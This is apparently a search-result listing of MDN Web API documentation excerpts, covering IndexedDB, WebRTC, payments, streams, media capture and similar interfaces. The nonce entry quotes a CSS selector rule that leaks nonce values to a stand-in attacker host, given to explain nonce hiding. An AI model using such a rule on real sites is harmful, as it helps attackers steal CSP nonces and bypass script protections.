... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemFileEntry - Web APIs
the text data is written to the file by creating a blob, appending text to it, and passing the blob to filewriter.write().
... draft draft of proposed api browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemFlags - Web APIs
methods which accept an options parameter of this type may specify zero or more of these flags as fields in an object, like this: datadirectoryentry.getdirectory("workspace", { create: true }, function(entry) { }); here, we see that the create property is provided, with a value of true, indicating that the directory should be created if it's not already there.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Geolocation API - Web APIs
the geolocation api is accessed via a call to navigator.geolocation; this will cause the user's browser to ask them for permission to access their location data.
... in both cases, the method call takes up to three arguments: a mandatory success callback: if the location retrieval is successful, the callback executes with a geolocationposition object as its only parameter, providing access to the location data.
... an optional positionoptions object, which provides options for retrieval of the position data.
GlobalEventHandlers - Web APIs
globaleventhandlers.onformdata is an eventhandler for processing formdata events, fired after the entry list representing the form's data is constructed.
... globaleventhandlers.onloadeddata is an eventhandler representing the code to be called when the loadeddata event is raised.
... globaleventhandlers.onloadedmetadata is an eventhandler representing the code to be called when the loadedmetadata event is raised.
HTMLImageElement.naturalHeight - Web APIs
if the intrinsic height is not available—either because the image does not specify an intrinsic height or because the image data is not available in order to obtain this information, naturalheight returns 0.
... living standard browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.naturalWidth - Web APIs
if the intrinsic width is not available—either because the image does not specify an intrinsic width or because the image data is not available in order to obtain this information, naturalwidth returns 0.
... living standard browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLMediaElement.networkState - Web APIs
possible values are: constant value description network_empty 0 there is no data yet.
... network_loading 2 the browser is downloading htmlmediaelement data.
... examples this example will listen for the audio element to begin playing and then check if it is still loading data.
HTMLMediaElement.setMediaKeys() - Web APIs
syntax var promise = htmlmediaelement.setmediakeys(mediakeys); parameters mediakeys a reference to a mediakeys object that the htmlmediaelement can use for decryption of media data during playback.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLObjectElement - Web APIs
htmlobjectelement.codetype is a domstring that reflects the codetype html attribute, specifying the content type of the data.
... htmlobjectelement.data returns a domstring that reflects the data html attribute, specifying the address of a resource's data.
... htmlobjectelement.typemustmatch is a boolean that reflects the typemustmatch html attribute, indicating if the resource specified by data must only be played if it matches the type attribute.
HTMLOrForeignElement.nonce - Web APIs
nonce hiding helps preventing that attackers exfiltrate nonce data via mechanisms that can grab data from content attributes like this: script[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); } specifications specification html living standardthe definition of 'nonce' in that specification.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLTableColElement - Web APIs
htmltablecolelement.align is a domstring that indicates the horizontal alignment of the cell data in the column.
... htmltablecolelement.ch is a domstring representing the alignment character for cell data.
... htmltablecolelement.valign is a domstring that indicates the vertical alignment of the cell data in the column.
Working with the History API - Web APIs
you can associate arbitrary data with your new history entry.
... with the hash-based approach, you need to encode all of the relevant data into a short string.
... if title is subsequently used by browsers, this data can be utilized (independent of, say, the hash).
IDBCursor.continuePrimaryKey() - Web APIs
calling this method more than once before new cursor data has been loaded - for example, calling continueprimarykey() twice from the same onsuccess handler - results in an invalidstateerror being thrown on the second call because the cursor’s got value flag has been unset.
... dataerror the key parameter may have any of the following conditions: the key is not a valid key.
...primarykey) { cursor.continueprimarykey("javascript", lastprimarykey); return; } // update lastiteratedarticleid setlastiteratedarticleid(cursor.primarykey); // preload 5 articles into the unread list; unreadlist.push(cursor.value); if (++count < 5) { cursor.continue(); } }; specifications specification status comment indexed database api draftthe definition of 'continueprimarykey()' in that specification.
IDBEnvironment - Web APIs
properties idbenvironment.indexeddb read only provides a mechanism for applications to asynchronously access capabilities of indexed databases; contains an idbfactory object.
... example the following code creates a request for a database to be opened asychronously, after which the database is opened when the request's onsuccess handler is fired: var db; function opendb() { var dbopenrequest = window.indexeddb.open("todolist"); dbopenrequest.onsuccess = function(e) { db = dbopenrequest.result; }; } browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBObjectStore.getAll() - Web APIs
this method produces the same result for: a record that doesn't exist in the database a record that has an undefined value to tell these situations apart, you either call the opencursor() method with the same key.
... dataerror the key or key range provided contains an invalid key or is null.
... specifications specification status comment indexed database api draftthe definition of 'getall()' in that specification.
IDBObjectStore.getAllKeys() - Web APIs
this method produces the same result for: a record that doesn't exist in the database a record that has an undefined value to tell these situations apart, you need to call the opencursor() method with the same key.
... dataerror the key or key range provided contains an invalid key or is null.
... specifications specification status comment indexed database api draftthe definition of 'getallkeys()' in that specification.
IDBObjectStore.openKeyCursor() - Web APIs
dataerror the specified key or key range is invalid.
...nt) { var cursor = event.target.result; if(cursor) { // cursor.key contains the key of the current record being iterated through // note that there is no cursor.value, unlike for opencursor // this is where you'd do something with the result cursor.continue(); } else { // no more results } }; specifications specification status comment indexed database api 2.0the definition of 'openkeycursor()' in that specification.
... recommendation indexed database api draftthe definition of 'openkeycursor()' in that specification.
IDBRequest: success event - Web APIs
bubbles no cancelable no interface event event handler property onsuccess examples this example tries to open a database and listens for the success event using addeventlistener(): // open the database const openrequest = window.indexeddb.open('todolist', 4); openrequest.onupgradeneeded = (event) => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('min...
...utes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; openrequest.addeventlistener('success', (event) => { console.log('database opened successfully!'); }); the same example, but using the onsuccess event handler property: // open the database const openrequest = window.indexeddb.open('todolist', 4); openrequest.onupgradeneeded = (event) => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore ...
...will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; openrequest.onsuccess = (event) => { console.log('database opened successfully!'); }; ...
IDBVersionChangeEvent.version - Web APIs
the version property of the idbversionchangeevent interface returns the new version of the database in a versionchange transaction.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ImageCapture.takePhoto() - Web APIs
the takephoto() method of the imagecapture interface takes a single exposure using the video capture device sourcing a mediastreamtrack and returns a promise that resolves with a blob containing the data.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaDevices.getUserMedia() - Web APIs
a document loaded using a data:// or blob:// url which has no origin (such as when one of these urls is typed by the user into the address bar) cannot call getusermedia().
...var constraints = { audio: true, video: { width: 1280, height: 720 } }; navigator.mediadevices.getusermedia(constraints) .then(function(mediastream) { var video = document.queryselector('video'); video.srcobject = mediastream; video.onloadedmetadata = function(e) { video.play(); }; }) .catch(function(err) { console.log(err.name + ": " + err.message); }); // always check for errors at the end.
... video.src = window.url.createobjecturl(stream); } video.onloadedmetadata = function(e) { video.play(); }; }) .catch(function(err) { console.log(err.name + ": " + err.message); }); frame rate lower frame-rates may be desirable in some cases, like webrtc transmissions with bandwidth restrictions.
MediaStreamTrack.readyState - Web APIs
syntax const state = track.readystate value it takes one of the following values: "live" which indicates that an input is connected and does its best-effort in providing real-time data.
... in that case, the output of data can be switched on or off using the mediastreamtrack.enabled property.
... "ended" which indicates that the input is not giving any more data and will never provide new data.
Transcoding assets for Media Source Extensions - Web APIs
bento4 — a set of command-line utilities for getting asset metadata and creating content for dash.
... this means that metadata within the container is spread out and not lumped together.
... note: the fragmented version is slightly larger than the original, due to additional metadata spread throughout the file.
Media Capture and Streams API (Media Stream) - Web APIs
the media capture and streams api, often called the media streams api or simply mediastream api, is an api related to webrtc which provides support for streaming audio and video data.
... it provides the interfaces and methods for working with the streams and their constituent tracks, the constraints associated with data formats, the success and error callbacks when using the data asynchronously, and the events that are fired during the process.
... concepts and usage the api is based on the manipulation of a mediastream object representing a flux of audio- or video-related data.
MerchantValidationEvent.validationURL - Web APIs
the merchantvalidationevent property validationurl is a read-only string value providing the url from which to fetch the payment handler-specific data needed to validate the merchant.
... this data should be passed into the complete() method to let the user agent complete the transaction.
... syntax validationurl = merchantvalidationevent.validationurl; value a read-only usvstring giving the url from which to load payment handler specific data needed to complete the merchant verification process.
MessageEvent.MessageEvent() - Web APIs
this can be one of xxx init optional a dictionary object that can contain the following properties: data: the data you want contained in the messageevent.
... this can be of any data type, and will default to null if not specified.
... example var mymessage = new messageevent('worker', { data : 'hello' }); specifications specification status comment html living standardthe definition of 'messageevent()' in that specification.
MessagePort.postMessage() - Web APIs
this can be of any basic data type.
... multiple data items can be sent as an array.
...nel = new messagechannel(); var para = document.queryselector('p'); var ifr = document.queryselector('iframe'); var otherwindow = ifr.contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on github (run it live too).
Navigator.canShare() - Web APIs
syntax var canshare = navigator.canshare(data); parameters data optional an object containing data to share that matches what you would pass to navigator.share().
...true if data can be shared with navigator.share().
... examples if(navigator.canshare(data)) { // we can use share() to share the data!
NavigatorStorage - Web APIs
the navigatorstorage mixin adds to the navigator and workernavigator interfaces the navigator.storage property, which provides access to the storagemanager singleton used for controlling the persistence of data stores as well as obtaining information note: this feature is available in web workers.
... there are many apis which provide ways for web content to store data on a user's computer, including cookies, the web storage api (window.localstorage and window.sessionstorage), and indexeddb.
...through the returned object, you can control persistence of data stores as well as get estimates of how much space is left for your site or appliation to store data.
NotificationEvent.notification - Web APIs
the notification provides read-only access to many properties that were set at the instantiation time of the notification such as tag and data attributes that allow you to store information for defered use in the notificationclick event.
... example self.addeventlistener('notificationclick', function(event) { console.log('on notification click'); // data can be attached to the notification so that you // can process it in the notificationclick handler.
... console.log('notification tag:', event.notification.tag); console.log('notification data:', event.notification.data); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment notifications apithe definition of 'notification' in that specification.
OfflineAudioCompletionEvent.OfflineAudioCompletionEvent() - Web APIs
init optional options are as follows: renderedbuffer: the rendered audiobuffer containing the audio data.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
OfflineAudioContext.startRendering() - Web APIs
we use the audiocontext to load an audio track via xhr (audiocontext.decodeaudiodata), then the offlineaudiocontext to render the audio into an audiobuffersourcenode and play the track through.
... note: for a working example, see our offline-audio-context-promise github repo (see the source code too.) // define online and offline audio context var audioctx = new audiocontext(); var offlinectx = new offlineaudiocontext(2,44100*40,44100); source = offlinectx.createbuffersource(); // use xhr to load an audio track, and // decodeaudiodata to decode it and offlineaudiocontext to render it function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; source.connect(...
... song.buffer = renderedbuffer; song.connect(audioctx.destination); play.onclick = function() { song.start(); } }).catch(function(err) { console.log('rendering failed: ' + err); // note: the promise should reject when startrendering is called a second time on an offlineaudiocontext }); }); } request.send(); } // run getdata to start the process off getdata(); specifications specification status comment web audio apithe definition of 'startrendering()' in that specification.
OfflineAudioContext - Web APIs
we use the audiocontext to load an audio track via xhr (audiocontext.decodeaudiodata), then the offlineaudiocontext to render the audio into an audiobuffersourcenode and play the track through.
... note: for a working example, see our offline-audio-context-promise github repo (see the source code too.) // define online and offline audio context var audioctx = new audiocontext(); var offlinectx = new offlineaudiocontext(2,44100*40,44100); source = offlinectx.createbuffersource(); // use xhr to load an audio track, and // decodeaudiodata to decode it and offlineaudiocontext to render it function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; source.connect(...
... song.buffer = renderedbuffer; song.connect(audioctx.destination); play.onclick = function() { song.start(); } }).catch(function(err) { console.log('rendering failed: ' + err); // note: the promise should reject when startrendering is called a second time on an offlineaudiocontext }); }); } request.send(); } // run getdata to start the process off getdata(); specifications specification status comment web audio apithe definition of 'offlineaudiocontext' in that specification.
Path2D() - Web APIs
WebAPIPath2DPath2D
the path2d() constructor returns a newly instantiated path2d object, optionally with another path as an argument (creates a copy), or optionally with a string consisting of svg path data.
... d optional when invoked with a string consisting of svg path data, a new path is created from that description.
... <canvas id="canvas"></canvas> const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let path1 = new path2d(); path1.rect(10, 10, 100,100); let path2 = new path2d(path1); path2.moveto(220, 60); path2.arc(170, 60, 50, 0, 2 * math.pi); ctx.stroke(path2); using svg paths this example creates a path2d path using svg path data.
PaymentRequest.prototype.id - Web APIs
WebAPIPaymentRequestid
const details = { id: "super-store-order-123-12312", total: { label: "total due", amount: { currency: "usd", value: "65.00" }, }, }; const request = new paymentrequest(methoddata, details); console.log(request.id); // super-store-order-123-12312 the id is then also available in the paymentresponse returned from the show() method, but under the requestid attribute.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentRequest.shippingOption - Web APIs
const request = new paymentrequest(methoddata, details, options); // async update to details request.onshippingaddresschange = ev => { ev.updatewith(checkshipping(request)); }; // sync update to the total request.onshippingoptionchange = ev => { const shippingoption = shippingoptions.find( option => option.id === request.id ); const newtotal = { currency: "usd", label: "total due", value: calculatenewtotal(shippingopt...
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentResponse.onpayerdetailchange - Web APIs
const options = { requestshipping: true, requestpayeremail: true, requestpayername: true, requestpayerphone: true, }; const request = new paymentrequest(methods, details, options); const response = request.show(); // get the data from the response let { payername: oldpayername, payeremail: oldpayeremail, payerphone: oldpayerphone, } = response; // set up a handler for payerdetailchange events, to // request corrections as needed.
... response.onpayerdetailchange = async ev => { const promisestovalidate = []; const { payername, payeremail, payerphone } = response; // validate each value which changed by calling a function // that validates each type of data, returning a promise which // resolves if the data is valid.
...add the results of the // validation to the errors list const errors = await promise.all(promisestovalidate).then(results => results.reduce((errors, result), object.assign(errors, result)) ); // if we found any errors, wait for them to be corrected if (object.getownpropertynames(errors).length) { await response.retry(errors); } else { // we have a good payment; send the data to the server await fetch("/pay-for-things/", { method: "post", body: response.json() }); response.complete("success"); } }; await response.retry({ payer: { email: "invalid domain.", phone: "invalid number.", }, }); specifications specification status comment payment request apithe definition of 'onpayerdetailchange' in that specification.
PaymentResponse: payerdetailchange event - Web APIs
const options = { requestshipping: true, requestpayeremail: true, requestpayername: true, requestpayerphone: true, }; const request = new paymentrequest(methods, details, options); const response = request.show(); // get the data from the response let { payername: oldpayername, payeremail: oldpayeremail, payerphone: oldpayerphone, } = response; // set up a handler for payerdetailchange events, to // request corrections as needed.
... response.onpayerdetailchange = async ev => { const promisestovalidate = []; const { payername, payeremail, payerphone } = response; // validate each value which changed by calling a function // that validates each type of data, returning a promise which // resolves if the data is valid.
...add the results of the // validation to the errors list const errors = await promise.all(promisestovalidate).then(results => results.reduce((errors, result), object.assign(errors, result)) ); // if we found any errors, wait for them to be corrected if (object.getownpropertynames(errors).length) { await response.retry(errors); } else { // we have a good payment; send the data to the server await fetch("/pay-for-things/", { method: "post", body: response.json() }); response.complete("success"); } }; await response.retry({ payer: { email: "invalid domain.", phone: "invalid number.", }, }); addeventlistener equivalent you could also set up the event handler using the addeventlistener() method: response.addeventlistener("payerdetailchange", asyn...
PaymentResponse.retry() - Web APIs
if the response's data is valid and acceptable, call complete("success") to finalize the payment and proces it.
... async function handlepayment() { const payrequest = new paymentrequest(methoddata, details, options); try { let payresponse = await payrequest.show(); while (payresponse has errors) { /* let the user edit the payment information, wait until they submit */ await response.retry(); } await payresponse.complete("success"); } catch(err) { /* handle the exception */ } } examples try { await paymentrequest.retry(errorfields); } catc...
...} async function dopaymentrequest() { const request = new paymentrequest(methoddata, details, options); const response = await request.show(); await recursivevalidate(request, response); await response.complete("success"); } // keep validating until the data looks good!
Payment processing concepts - Web APIs
paymentrequest.onmerchantvalidation = function(event) { event.complete(fetchvalidationdata(event.validationurl)); } in this example, fetchvalidationdata() is a function which loads the payment handler specific identifying information from the address given by validationurl.
... by then delivering this data (or a promise which resolves to the loaded data) to the payment handler by passing it into complete(), the payment handler can use the retrieved data and whatever algorithm and other data to support in order to verify that the merchant can use the payment handler.
...for instance, safari has integrated support for apple pay, so the apple pay payment handler uses this to ensure that apple pay can be used to pay the merchant by sending merchantvalidation to the client, instructing it to fetch the server's validation data and deliver it to the payment handler by calling complete().
PushSubscription.getKey() - Web APIs
the getkey() method of the pushsubscription interface returns an arraybuffer representing a client public key, which can then be sent to a server and used in encrypting push message data.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
RTCConfiguration.bundlePolicy - Web APIs
this string, which must be a member of the rtcbundlepolicy enumeration, has the following possible values: balanced the ice agent begins by creating one rtcdtlstransport to handle each type of content added: one for audio, one for video, and one for the rtc data channel, if applicable.
... max-compat the ice agent intially creates one rtcdtlstransport for each media track and a separate one for the rtcdatachannel, if one is created.
...if the remote peer is bundle compatible, the policy is moot and all media tracks and the data channel are bundled onto a single rtcdtlstransport at the completion of the negotiation process.
RTCError - Web APIs
WebAPIRTCError
examples in this example, a handler is established for an rtcdatachannel's error event.
... datachannel.addeventlistener("error", (event) => { let error = event.error; if (error.errordetail === "sdp-syntax-error") { let errline = error.sdplinenumber; let errmessage = error.message; let alertmessage = `a syntax error occurred interpreting line ${errline} of the sdp: ${errmessage}`; showmyalertmessage("data channel error", alertmessage); } else { terminatemyconnection(); } }); if the error is an sdp syntax error—indicated by its errordetail property being sdp-syntax-error—, a message string is constructed to present the error message and the line number within the sdp at which the error occurred.
...you can also use the rtcdatachannel object's onerror event handler property, like this: datachannel.onerror = (event) => { let error = event.error; /* and so forth */ }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcerror' in that specification.
RTCErrorEvent.error - Web APIs
examples in this example, a handler is established for an rtcdatachannel's error event.
... datachannel.addeventlistener("error", (event) => { let error = event.error; if (error.errordetail === "sdp-syntax-error") { let errline = error.sdplinenumber; let errmessage = error.message; let alertmessage = `a syntax error occurred interpreting line ${errline} of the sdp: ${errmessage}`; showmyalertmessage("data channel error", alertmessage); } else { terminatemyconnection(); } }); if the error is an sdp syntax error—indicated by its errordetail property being sdp-syntax-error—, a message string is constructed to present the error message and the line number within the sdp at which the error occurred.
...you can also use the rtcdatachannel object's onerror event handler property, like this: datachannel.onerror = (event) => { let error = event.error; /* and so forth */ }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcerrorevent.error' in that specification.
RTCIceCandidateStats.networkType - Web APIs
cellular the connection uses a cellular data service to connect.
... this includes all cellular data services including edge (2g), hspa (3g), lte (4g), and nr (5g).
... example this example sets up a periodic function using setinterval() that outputs statistics reports for candidates that use or would use a cellular data network to a log view.
RTCInboundRtpStreamStats.pliCount - Web APIs
a pli packet indicates that some amount of encoded video data has been lost for one or more frames.
...these are sent by the receiver's decoder to notify the encoder (the sender) that an undefined amount of coded video data, which may span frame boundaries, has been lost.
... this may trigger the sender to send a full frame in order to allow the receiver to re-synchronize, since lost data may be an irrecoverable situation for decoding media.
RTCPeerConnection.addTrack() - Web APIs
return value the rtcrtpsender object which will be used to transmit the media data.
... reused senders this method may return either a new rtcrtpsender or, under very specific circumstances, an existing compatible sender which has not yet been used to transmit data.
... the rtcrtpsender being considered has never been used to send data.
RTCRtpSender - Web APIs
rtcrtpsender.transport read only the rtcdtlstransport over which the sender is exchanging the rtp and rtcp packets used to manage transmission of media and control data.
... rtcrtpsender.getstats() returns a promise which is fulfilled with a rtcstatsreport which provides statistics data for all outbound streams being sent using this rtcrtpsender.
... static methods rtcrtpsender.getcapabilities() returns an rtcrtpcapabilities object describing the system's capabilities for sending a specified kind of media data.
RTCRtpStreamStats.pliCount - Web APIs
a pli packet indicates that some amount of encoded video data has been lost for one or more frames.
... a pli message is used by video decoders (running on the receiving end of the stream) to notify the encoder (the sender) that an undefined amount of coded video data, which may span frame boundaries, has been lost.
... this may trigger the sender to send a full frame in order to allow the receiver to re-synchronize, since lost data may be an irrecoverable situation for decoding media.
RTCRtpTransceiver - Web APIs
each sdp media section describes one bidirectional srtp ("secure real time protocol") stream (excepting the media section for rtcdatachannel, if present).
... sender read only the rtcrtpsender object responsible for encoding and sending data to the remote peer.
...the associated sender stops sending data, and the associated receiver likewise stops receiving and decoding incoming data.
ReadableStream.cancel() - Web APIs
cancel is used when you've completely finished with the stream and don't need any more data from it, even if there are chunks enqueued waiting to be read.
... that data is lost after cancel is called, and the stream is not readable any more.
....tolowercase() : searchterm; var buffersize = math.max(tomatch.length - 1, contextbefore); var bytesreceived = 0; var buffer = ''; var matchfoundat = -1; return reader.read().then(function process(result) { if (result.done) { console.log('failed to find match'); return; } bytesreceived += result.value.length; console.log(`received ${bytesreceived} bytes of data so far`); buffer += decoder.decode(result.value, {stream: true}); // already found match & just context-gathering?
ReadableStream.tee() - Web APIs
examples in the following simple example, a previously-created stream is teed, then both resulting streams (contained in two members of a generated array) are passed to a function that reads the data out of the two streams and prints each stream's chunks sequentially to a different part of the ui.
...0], list2); fetchstream(teedoff[1], list3); } function fetchstream(stream, list) { const reader = stream.getreader(); let charsreceived = 0; // read() returns a promise that resolves // when a value has been received reader.read().then(function processtext({ done, value }) { // result objects contain two properties: // done - true if the stream has already given you all its data.
... // value - some data.
ReadableStreamDefaultReader - Web APIs
the readablestreamdefaultreader interface of the streams api represents a default reader that can be used to read stream data supplied from a network (e.g.
... fetch("https://www.example.org/").then((response) => { const reader = response.body.getreader(); const stream = new readablestream({ start(controller) { // the following function handles each data chunk function push() { // "done" is a boolean and value a "uint8array" return reader.read().then(({ done, value }) => { // is there no more data to read?
... if (done) { // tell the browser that we have finished sending data controller.close(); return; } // get the data and send it to the browser via the controller controller.enqueue(value); push(); }); }; push(); } }); return new response(stream, { headers: { "content-type": "text/html" } }); }); specifications specification status comment streamsthe definition of 'readablestreamdefaultreader' in that specification.
RequestDestination - Web APIs
"audio" the target is audio data.
... "audioworklet" the target is data being fetched for use by an audio worklet.
... "video" the target is video data.
SVGAltGlyphElement - Web APIs
musical symbols) or even alternate glyphs such as asian text strings it is required that a different set of glyphs be used than the normal given character data.
...it's data type is 'string'.
...it's data type is 'string'.
SVGGraphicsElement: copy event - Web APIs
a handler for this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the event's default action using event.preventdefault().
... however, the handler cannot read the clipboard data.
...text</text> <foreignobject x="5" y="20" width="90" height="20"> <input xmlns="http://www.w3.org/1999/xhtml" placeholder="paste it here"/> </foreignobject> </svg> css input { font-size: 10px; width: 100%; height: 90%; box-sizing: border-box; border: 1px solid black; } javascript document.getelementsbytagname("text")[0].addeventlistener("copy", evt => { evt.clipboarddata.setdata('text/plain', document.getselection().tostring().touppercase()); evt.preventdefault(); }); result specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation definition that the clipboard events apply to svg elements.
SVGGraphicsElement: cut event - Web APIs
if the user attempts a cut action on uneditable content, the cut event still fires but the event object contains no data.
... a handler for this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the default action using event.preventdefault().
... the handler cannot read the clipboard data.
SVGGraphicsElement: paste event - Web APIs
a handler for this event can access the clipboard contents by calling getdata() on the event's clipboarddata property.
... to override the default behavior (for example to insert some different data or a transformation of the clipboard contents) an event handler must cancel the default action using event.preventdefault(), and then insert its desired data manually.
.../xhtml" value="copy this text"/> </foreignobject> <text x="5" y="30" id="element-to-paste-text" tabindex="1">paste it here</text> </svg> css input { font-size: 10px; width: 100%; height: 90%; box-sizing: border-box; border: 1px solid black; } javascript document.getelementbyid("element-to-paste-text").addeventlistener("paste", evt => { evt.target.textcontent = evt.clipboarddata.getdata("text/plain").touppercase(); evt.preventdefault(); }); result specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation definition that the clipboard events apply to svg elements.
SVGTransformList - Web APIs
<svg id="my-svg" viewbox="0 0 300 280" xmlns="http://www.w3.org/2000/svg" version="1.1"> <desc>example showing how to transform svg elements that using svgtransform objects</desc> <script type="application/ecmascript"> <![cdata[ function transformme(evt) { // svg root element to access the createsvgtransform() function var svgroot = evt.target.parentnode; // svgtransformlist of the element that has been clicked on var tfmlist = evt.target.transform.baseval; // create a seperate transform object for each transform var translate = svgroot.createsvgtransform(); translate.sett...
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ServiceWorkerMessageEvent - Web APIs
serviceworkermessageevent.data read only returns the event's data.
... it can be any data type.
... // set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
Service Worker API - Web APIs
other use case ideas service workers are also intended to be used for such things as: background data synchronization.
... receiving centralized updates to expensive-to-calculate data such as geolocation or gyroscope, so multiple pages can make use of one set of data.
...this ensures that any functional events (like fetchevent) are not dispatched to the serviceworker, until it upgrades database schemas, and deletes outdated cache entries, etc.
SharedWorker() - Web APIs
note: there is disagreement among browser manufacturers about whether a data uri is of the same origin or not.
... although gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7) and later accept data uris, that's not the case in all other browsers.
...myworker = new sharedworker('worker.js'); myworker.port.start(); first.onchange = function() { myworker.port.postmessage([first.value,second.value]); console.log('message posted to worker'); } second.onchange = function() { myworker.port.postmessage([first.value,second.value]); console.log('message posted to worker'); } myworker.port.onmessage = function(e) { result1.textcontent = e.data; console.log('message received from worker'); } for a full example, see our basic shared worker example (run shared worker.) specifications specification status comment html living standardthe definition of 'sharedworker()' in that specification.
SharedWorkerGlobalScope.onconnect - Web APIs
onconnect = function(e) { var port = e.ports[0]; port.onmessage = function(e) { var workerresult = 'result: ' + (e.data[0] * e.data[1]); port.postmessage(workerresult); } port.start(); } for a complete running example, see our basic shared worker example (run shared worker.) note: the data property of the event object used to be null in firefox.
... living standard browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SubtleCrypto.sign() - Web APIs
WebAPISubtleCryptosign
it takes as its arguments a key to sign with, some algorithm-specific parameters, and the data to sign.
... syntax const signature = crypto.subtle.sign(algorithm, key, data); parameters algorithm is a string or object that specifies the signature algorithm to use and its parameters: to use rsassa-pkcs1-v1_5, pass the string "rsassa-pkcs1-v1_5" or an object of the form { "name": "rsassa-pkcs1-v1_5" }.
... data is an arraybuffer or arraybufferview object containing the data to be signed.
SubtleCrypto.verify() - Web APIs
it takes as its arguments a key to verify the signature with, some algorithm-specific parameters, the signature, and the original signed data.
... syntax const result = crypto.subtle.verify(algorithm, key, signature, data); parameters algorithm is a domstring or object defining the algorithm to use, and for some algorithm choices, some extra parameters.
... data is a arraybuffer containing the data whose signature is to be verified.
Text - Web APIs
WebAPIText
" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/characterdata" target="_top"><rect x="266" y="1" width="130" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="331" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">characterdata</text></a><polyline points="396,25 406,20 406,30 396,25" stroke="#d4dde4" fill="none"/><line x1="406" y1="25" x2="436"...
... properties inherits properties from its parent, characterdata.
... methods inherits methods from its parent, characterdata.
USBDevice.controlTransferOut() - Web APIs
syntax var promise = usbdevice.controltransferout(setup, data) parameters setup an object that sets options for .
... data a typedarray containing the data that will be transfered to the device.
... not all commands require data; some commands can send data just through the value parameter.
USBDevice.transferOut() - Web APIs
